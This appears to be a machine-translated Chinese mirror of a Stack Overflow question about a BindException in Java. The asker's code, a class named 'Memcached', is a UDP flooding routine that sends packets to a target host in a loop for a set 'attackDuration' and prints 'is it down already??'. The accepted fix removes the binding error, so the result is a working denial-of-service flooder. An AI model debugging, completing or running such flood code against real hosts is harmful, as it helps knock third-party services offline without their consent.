繁体   English   中英

java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)

[英]java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)

运行以下代码时,我在socket = new DatagramSocket(8079, ip);行中抛出异常说 java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)。 我不确定为什么会这样。 这是代码:

public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
        targetURL = new URL("http://" + target);
        this.serverPort = serverPort;
        this.attackDuration = attackDuration * 1000;
    }
    @Override
    public void run() {
        long startTime = System.currentTimeMillis();
        try {
            ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
            Log.d("tag1", ip.toString());
        }
        catch(UnknownHostException uhe) {
            System.out.println("Unknown host");
            ipAddressAbleToBeFound = false;
        }
        if (ipAddressAbleToBeFound) {
            try {
                socket = new DatagramSocket(8079, ip);
            }
            catch(SocketException se) {
                System.out.println("Unable to send request, is it down already??");
                se.printStackTrace();
                socketAbleToBeCreated = false;
            }
            if (socketAbleToBeCreated) {
                while(System.currentTimeMillis() < startTime + attackDuration) {
                    byte[] buffer = {10,23,12,31,43,32,24};

                    DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
                    try {
                        socket.send(packet);
                    }
                    catch(IOException ioe) {
                        System.out.println("I/O error occurred");
                    }
                }
            }
        }
    }
}

谢谢!

我想我通过socket = new DatagramSocket();解决了这个问题。 而不是socket = new DatagramSocket(8079, ip); . 看起来你不需要在 DatagramSocket 中指定端口和 InetAddress,你只需要在 DatagramPacket 中这样做。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM